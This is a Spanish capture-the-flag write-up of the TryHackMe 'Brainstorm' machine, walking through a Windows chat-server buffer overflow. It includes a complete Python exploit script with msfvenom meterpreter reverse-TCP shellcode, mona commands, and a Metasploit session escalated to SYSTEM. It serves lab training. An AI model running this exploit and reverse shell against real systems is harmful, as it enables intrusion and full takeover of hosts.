Brainstorm [TryHackMe]

2023-10-01

Introducción

Brainstorm es una máquina virtual vulnerable de TryHackMe con un nivel de dificultad media. El objetivo es obtener acceso a la máquina y obtener el flag root.txt. Forma parte del learning path de Offensive Pentesting Path, y está dentro del bloque de “Buffer Overflow”, por lo que el objetivo es explotar un buffer overflow en una aplicación vulnerable para obtener acceso a la máquina. En este caso, la aplicación vulnerable es un servidor de chat que se ejecuta en Windows, por lo que primero se debe obtener el binario de la aplicación y analizarlo con Immunity Debugger para encontrar la vulnerabilidad y explotarla.

Escaneo de puertos

Lo primero que haremos será escanear los puertos de la máquina con nmap para ver qué servicios están en ejecución y qué puertos están abiertos.

nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.211.15
# Nmap 7.94 scan initiated Sun Sep 24 12:32:12 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.211.15
Increasing send delay for 10.10.211.15 from 0 to 5 due to 11 out of 14 dropped probes since last increase.
Nmap scan report for 10.10.211.15
Host is up (0.050s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
3389/tcp open  ms-wbt-server
9999/tcp open  abyss

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Sep 24 12:32:39 2023 -- 1 IP address (1 host up) scanned in 26.55 seconds
nmap -p21,3389,9999 -sC -sV -Pn -oN nmap_final 10.10.211.15
# Nmap 7.94 scan initiated Sun Sep 24 12:32:39 2023 as: nmap -p21,3389,9999 -sC -sV -Pn -oN nmap_final 10.10.211.15
Nmap scan report for 10.10.211.15
Host is up (0.049s latency).

PORT     STATE    SERVICE       VERSION
21/tcp   open     ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3389/tcp filtered ms-wbt-server
9999/tcp open     abyss?
| fingerprint-strings: 
|   LANDesk-RC, NCP, NotesRPC, TerminalServer, WMSRequest, afp, giop, ms-sql-s, oracle-tns: 
|     Welcome to Brainstorm chat (beta)
|_    Please enter your username (max 20 characters): Write a message:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94%I=7%D=9/24%Time=651010BD%P=x86_64-pc-linux-gnu%r(LA
SF:NDesk-RC,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x2
SF:0enter\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20
SF:a\x20message:\x20")%r(TerminalServer,63,"Welcome\x20to\x20Brainstorm\x2
SF:0chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x
SF:20characters\):\x20Write\x20a\x20message:\x20")%r(NCP,63,"Welcome\x20to
SF:\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username
SF:\x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(Note
SF:sRPC,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ent
SF:er\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x2
SF:0message:\x20")%r(WMSRequest,63,"Welcome\x20to\x20Brainstorm\x20chat\x2
SF:0\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20charac
SF:ters\):\x20Write\x20a\x20message:\x20")%r(oracle-tns,63,"Welcome\x20to\
SF:x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\
SF:x20\(max\x2020\x20characters\):\x20Write\x20a\x20message:\x20")%r(ms-sq
SF:l-s,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\)\nPlease\x20ente
SF:r\x20your\x20username\x20\(max\x2020\x20characters\):\x20Write\x20a\x20
SF:message:\x20")%r(afp,63,"Welcome\x20to\x20Brainstorm\x20chat\x20\(beta\
SF:)\nPlease\x20enter\x20your\x20username\x20\(max\x2020\x20characters\):\
SF:x20Write\x20a\x20message:\x20")%r(giop,63,"Welcome\x20to\x20Brainstorm\
SF:x20chat\x20\(beta\)\nPlease\x20enter\x20your\x20username\x20\(max\x2020
SF:\x20characters\):\x20Write\x20a\x20message:\x20");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 24 12:35:50 2023 -- 1 IP address (1 host up) scanned in 191.22 seconds

Como podemos ver, tenemos 3 puertos abiertos: 21, 3389 y 9999. El puerto 21 es el puerto del servicio FTP, el puerto 3389 es el puerto del servicio RDP y el puerto 9999 es el puerto del servicio Abyss Web Server.

Enumeración del servicio FTP

Accedemos al servicio FTP con las credenciales anónimas que nos ha dado nmap y vemos que hay un archivo llamado “chatserver.exe” y un fichero dll. Lo descargamos y lo analizamos con Immunity Debugger.

ftp 10.10.18.125 -P 21

Connected to 10.10.18.125.
220 Microsoft FTP Service
Name (10.10.18.125:k3ss): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> binary
200 Type set to I.
ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
08-29-19  08:36PM       <DIR>          chatserver
226 Transfer complete.
ftp> cd chatserver
250 CWD command successful.
ftp> ll
?Invalid command.
ftp> ls
200 EPRT command successful.
125 Data connection already open; Transfer starting.
08-29-19  10:26PM                43747 chatserver.exe
08-29-19  10:27PM                30761 essfunc.dll
226 Transfer complete.
ftp> mget .
mget chatserver.exe [anpqy?]? y
200 EPRT command successful.
125 Data connection already open; Transfer starting.
100% || 43747      181.87 KiB/s    00:00 ETA
226 Transfer complete.
43747 bytes received in 00:00 (181.77 KiB/s)
mget essfunc.dll [anpqy?]? y
200 EPRT command successful.
125 Data connection already open; Transfer starting.
100% || 30761      160.83 KiB/s    00:00 ETA
226 Transfer complete.
30761 bytes received in 00:00 (160.71 KiB/s)
ftp> exit
221 Goodbye.

Análisis del binario con Immunity Debugger

Abrimos el binario con Immunity Debugger y vemos que se trata de un servidor de chat que se ejecuta en Windows. Lo primero que haremos será probar el servidor de chat para ver cómo funciona. Para ello, lo ejecutamos y nos conectamos con netcat al puerto 9999.

❯ nc -nv 192.168.1.109 9999

Connection to 192.168.1.109 9999 port [tcp/*] succeeded!
Welcome to Brainstorm chat (beta)
Please enter your username (max 20 characters): k3ss
Write a message: this is a test message


Sun Oct 01 17:45:03 2023
k3ss said: this is a test message

Pruebo a enviar un mensaje con más de 20 caracteres y veo que el servidor lo corta. Pruebo a enviar un mensaje con 3000 caracteres y descubro que el servidor no lo corta, por lo que es vulnerable a un buffer overflow.

python -c ´print "A"*3000´

Preparo la carpeta de trabajo de Inmunity Debugger con el siguiente comando:

!mona config -set workingfolder c:\mona\%p

Y ejecuto el servidor de chat con Inmunity Debugger. Una vez ejecutado, me conecto con netcat al puerto 9999 y envío un mensaje con 3000 caracteres. En Inmunity Debugger, veo que el programa se ha roto y que el registro EIP contiene 41414141, que son los caracteres “AAAA” en hexadecimal. Esto significa que el programa se ha roto en el registro EIP, por lo que el servidor de chat es vulnerable a un buffer overflow. Preparo un script python y lo ejecuto para ver cuántos caracteres se necesitan para sobreescribir el registro EIP.

import socket

ip = "IP_ADDRESS"
port = 9999

prefix = "k3ss "
offset = 0
overflow = "A" * offset
retn =  ""
padding = ""
payload = "A" * 3000
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.recv(1024)
  s.send(bytes(prefix + "\r\n","latin-1"))
  s.recv(1024)
  s.send(bytes(buffer + "\r\n", "latin-1"))
  s.recv(1024)
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Dentro del bloque del try tengo que replicar el comportamiento del servidor de chat, por lo que primero me conecto al servidor, luego recibo el mensaje de bienvenida, luego envío el nombre de usuario, luego recibo el mensaje de bienvenida y luego envío el mensaje con el buffer. Ejecuto el script y veo que el registro EIP se ha sobrescrito con 41414141, por lo que el servidor de chat es vulnerable a un buffer overflow. Ahora tengo que encontrar un patrón único para saber cuántos caracteres se necesitan para sobrescribir el registro EIP.

msf-pattern_create -l 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9

Añado el patrón creado al payload del script y lo ejecuto tras poner en marcha de nuevo el chatserver con Inmunity Debugger. Lanzo el script y obtengo el valor del registro EIP. Lo copio y lo pego en el comando msf-pattern_offset para saber cuántos caracteres se necesitan para sobrescribir el registro EIP.

msf-pattern_offset -q 43396F43 -l 3000

[*] Exact match at offset 2007

El siguiente paso es encontrar los badcharacters que pueden estropear mi payload. Para ello, ejecuto los siguientes comandos en Inmunity Debugger:

# crear archivo bytearray.bin con el primer badcharacter
!mona bytearray -b "\x00"

# comparar referenciando al address con esp
!mona compare -f C:\mona\chatserver\bytearray.bin -a ESP

Ahora solo tengo que añadir todos los badcharacters al payload del script y ejecutarlo para ver cuáles son los badcharacters que pueden afectar al payload.

from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()
python3 badcharacters.py

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Al lanzar de nuevo el script, ejecuto el comando compare de mona y veo que no hay mas caracteres que el \x00

!mona compare -f C:\mona\chatserver\bytearray.bin -a ESP

Una vez hecho esto, tengo que encontrar un salto a una instrucción JMP ESP para sobrescribir el registro EIP y que apunte a la instrucción JMP ESP. Para ello, ejecuto el siguiente comando en Inmunity Debugger:

!mona jmp -r esp -cpb "\x00"

Una de las direcciones de salto que me devuelve es 625014DF. Ahora solo tengo que añadir esta dirección transformada al payload del script y ejecutarlo para ver si sobrescribe el registro EIP con la dirección de salto. La paso por un script de python para que me devuelva la dirección de salto en el formato que necesito.

import sys

if len(sys.argv) != 2:
        print("[*] Run:\n\tjump_address.py <jump_point_address>")
        sys.exit(1)

address = sys.argv[1]

n1 = address[0:2]
n2 = address[2:4]
n3 = address[4:6]
n4 = address[6:8]
 
print("\nretn =  " + "\"\\x" + n4 + "\\x" + n3 +"\\x" + n2 +"\\x" + n1+"\"")
python jump_address.py 625014DF

Con esto ya estoy listo para sobrescribir el registro EIP con la dirección de salto. Ahora solo tengo que añadir el shellcode al payload del script y ejecutarlo para ver si se ejecuta el shellcode.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 EXITFUNC=process -b "\x00" -f c

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of c file: 1632 bytes
unsigned char buf[] = 
"\xba\x54\x0b\x6e\x5c\xda\xd6\xd9\x74\x24\xf4\x5e\x31\xc9"
"\xb1\x59\x31\x56\x14\x83\xc6\x04\x03\x56\x10\xb6\xfe\x92"
"\xb4\xb9\x01\x6b\x45\xa5\x30\xb9\x21\xae\x61\x0d\x23\x55"
"\x0e\x3f\x3f\x1e\x43\xd4\x30\x97\x2e\xf2\xc5\xa5\x86\xcb"
"\x26\x78\x17\x87\xe5\x1b\xeb\xda\x39\xfb\xd2\x14\x4c\xfa"
"\x13\xe3\x3a\x13\xc9\xa3\x4f\xb9\xfe\xc0\x12\x01\xfe\x06"
"\x19\x39\x78\x22\xde\xcd\x34\x2d\x0f\xa6\x9d\x0d\xff\xb9"
"\xce\xc5\xb7\xa1\x75\x10\x33\xed\x44\x5c\xf5\x86\x93\x29"
"\x07\x4e\xea\xed\xa4\xaf\xc2\xe3\xb5\xe8\xe5\x1b\xc0\x02"
"\x16\xa1\xd3\xd1\x64\x7d\x51\xc5\xcf\xf6\xc1\x21\xf1\xdb"
"\x94\xa2\xfd\x90\xd3\xec\xe1\x27\x37\x87\x1e\xa3\xb6\x47"
"\x97\xf7\x9c\x43\xf3\xac\xbd\xd2\x59\x02\xc1\x04\x05\xfb"
"\x67\x4f\xa4\xea\x18\xb0\x36\x13\x45\x26\xfa\xde\x76\xb6"
"\x94\x69\x04\x84\x3b\xc2\x82\xa4\xb4\xcc\x55\xbd\xd3\xee"
"\x8a\x05\xb3\x10\x2b\x75\x9d\xd6\x7f\x25\xb5\xff\xff\xae"
"\x45\xff\xd5\x5a\x4c\x97\x15\x32\x68\x66\xfe\x40\x89\x79"
"\xa2\xcd\x6f\x29\x0a\x9d\x3f\x8a\xfa\x5d\x90\x62\x11\x52"
"\xcf\x93\x1a\xb9\x78\x39\xf5\x17\xd0\xd6\x6c\x32\xaa\x47"
"\x70\xe9\xd6\x48\xfa\x1b\x26\x06\x0b\x6e\x34\x7f\x6c\x90"
"\xc4\x80\x19\x90\xae\x84\x8b\xc7\x46\x87\xea\x2f\xc9\x78"
"\xd9\x2c\x0e\x86\x9c\x04\x64\xb1\x0a\x28\x12\xbe\xda\xa8"
"\xe2\xe8\xb0\xa8\x8a\x4c\xe1\xfb\xaf\x92\x3c\x68\x7c\x07"
"\xbf\xd8\xd0\x80\xd7\xe6\x0f\xe6\x77\x19\x7a\x74\x7f\xe5"
"\xf8\x53\xd8\x8d\x02\xe4\xd8\x4d\x69\xe4\x88\x25\x66\xcb"
"\x27\x85\x87\xc6\x6f\x8d\x02\x87\xc2\x2c\x12\x82\x83\xf0"
"\x13\x21\x18\x03\x69\x4a\x9f\xe4\x8e\x42\xc4\xe5\x8e\x6a"
"\xfa\xda\x58\x53\x88\x1d\x59\xe0\x83\x28\xfc\x41\x0e\x52"
"\x52\x91\x1b";

Añado el padding y el return, ademas del payload creado. El script final quedaría así:

import socket

ip = "192.168.1.109"
port = 9999

prefix = "k3ss "

offset = 2007

overflow = "A" * offset

retn =  "\xDF\x14\x50\x62"

padding = "\x90" * 16

payload = (
"\xba\x54\x0b\x6e\x5c\xda\xd6\xd9\x74\x24\xf4\x5e\x31\xc9"
"\xb1\x59\x31\x56\x14\x83\xc6\x04\x03\x56\x10\xb6\xfe\x92"
"\xb4\xb9\x01\x6b\x45\xa5\x30\xb9\x21\xae\x61\x0d\x23\x55"
"\x0e\x3f\x3f\x1e\x43\xd4\x30\x97\x2e\xf2\xc5\xa5\x86\xcb"
"\x26\x78\x17\x87\xe5\x1b\xeb\xda\x39\xfb\xd2\x14\x4c\xfa"
"\x13\xe3\x3a\x13\xc9\xa3\x4f\xb9\xfe\xc0\x12\x01\xfe\x06"
"\x19\x39\x78\x22\xde\xcd\x34\x2d\x0f\xa6\x9d\x0d\xff\xb9"
"\xce\xc5\xb7\xa1\x75\x10\x33\xed\x44\x5c\xf5\x86\x93\x29"
"\x07\x4e\xea\xed\xa4\xaf\xc2\xe3\xb5\xe8\xe5\x1b\xc0\x02"
"\x16\xa1\xd3\xd1\x64\x7d\x51\xc5\xcf\xf6\xc1\x21\xf1\xdb"
"\x94\xa2\xfd\x90\xd3\xec\xe1\x27\x37\x87\x1e\xa3\xb6\x47"
"\x97\xf7\x9c\x43\xf3\xac\xbd\xd2\x59\x02\xc1\x04\x05\xfb"
"\x67\x4f\xa4\xea\x18\xb0\x36\x13\x45\x26\xfa\xde\x76\xb6"
"\x94\x69\x04\x84\x3b\xc2\x82\xa4\xb4\xcc\x55\xbd\xd3\xee"
"\x8a\x05\xb3\x10\x2b\x75\x9d\xd6\x7f\x25\xb5\xff\xff\xae"
"\x45\xff\xd5\x5a\x4c\x97\x15\x32\x68\x66\xfe\x40\x89\x79"
"\xa2\xcd\x6f\x29\x0a\x9d\x3f\x8a\xfa\x5d\x90\x62\x11\x52"
"\xcf\x93\x1a\xb9\x78\x39\xf5\x17\xd0\xd6\x6c\x32\xaa\x47"
"\x70\xe9\xd6\x48\xfa\x1b\x26\x06\x0b\x6e\x34\x7f\x6c\x90"
"\xc4\x80\x19\x90\xae\x84\x8b\xc7\x46\x87\xea\x2f\xc9\x78"
"\xd9\x2c\x0e\x86\x9c\x04\x64\xb1\x0a\x28\x12\xbe\xda\xa8"
"\xe2\xe8\xb0\xa8\x8a\x4c\xe1\xfb\xaf\x92\x3c\x68\x7c\x07"
"\xbf\xd8\xd0\x80\xd7\xe6\x0f\xe6\x77\x19\x7a\x74\x7f\xe5"
"\xf8\x53\xd8\x8d\x02\xe4\xd8\x4d\x69\xe4\x88\x25\x66\xcb"
"\x27\x85\x87\xc6\x6f\x8d\x02\x87\xc2\x2c\x12\x82\x83\xf0"
"\x13\x21\x18\x03\x69\x4a\x9f\xe4\x8e\x42\xc4\xe5\x8e\x6a"
"\xfa\xda\x58\x53\x88\x1d\x59\xe0\x83\x28\xfc\x41\x0e\x52"
"\x52\x91\x1b")

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.recv(1024)
  s.send(bytes(prefix + "\r\n","latin-1"))
  s.recv(1024)
  s.send(bytes(buffer + "\r\n", "latin-1"))
  s.recv(1024)
  print("Done!")

except Exception as e:
    print(f"An error occurred: {e}")

Pongo a escuchar metasploit y ejecuto el script. Veo que se ha ejecutado el shellcode y que tengo una sesión de meterpreter.

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 

[*] Sending stage (175686 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:49510) at 2023-10-01 18:24:31 +0200

meterpreter > getuid
Server username: usuario-PC\usuario
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

Atacando al servidor objetivo

Como ya tengo un script que me permite explotar la vulnerabilidad, solo tengo que cambiar la IP y el puerto del servidor objetivo y ejecutar el script. Pongo a escuchar metasploit y ejecuto el script. Veo que se ha ejecutado el shellcode y que tengo una sesión de meterpreter.

[*] Started reverse TCP handler on 10.14.50.184:4444 
[*] Sending stage (175686 bytes) to 10.10.21.205
[*] Meterpreter session 3 opened (10.14.50.184:4444 -> 10.10.21.205:49163) at 2023-10-01 13:31:48 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > cd c
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
C:\
meterpreter > cd Users\\
meterpreter > cd drake\\
meterpreter > cd Desktop\\
meterpreter > ls
Listing: C:\Users\drake\Desktop
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-08-30 07:21:08 +0200  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-30 07:55:40 +0200  root.txt

meterpreter > cat root.txt 
5b1001de5a44eca47eee71e7942a8f8a

meterpreter > 

De esta forma obtengo la flag root.txt y finalizo la máquina.

Conclusiones

Esta máquina ha sido interesante por que me ha permitido aplicar en un entorno más realista lo aprendido en la sala de “Buffer Overflow Prep” de TryHackMe. El script que he usado es ligeramente diferente del original que guardé de la sala anterior, tuve que buscar como hacerlo ya que el chat server envía primero un mensaje de bienvenida y luego espera a recibir un mensaje para el nombre de usuario y otro para el mensaje. Usando en python el comando recv(1024) se puede recibir el mensaje de bienvenida y luego enviar el nombre de usuario y el mensaje con el comando send(bytes(buffer + “\r\n”, “latin-1”)).

(◕‿‿◕) Hack the planet!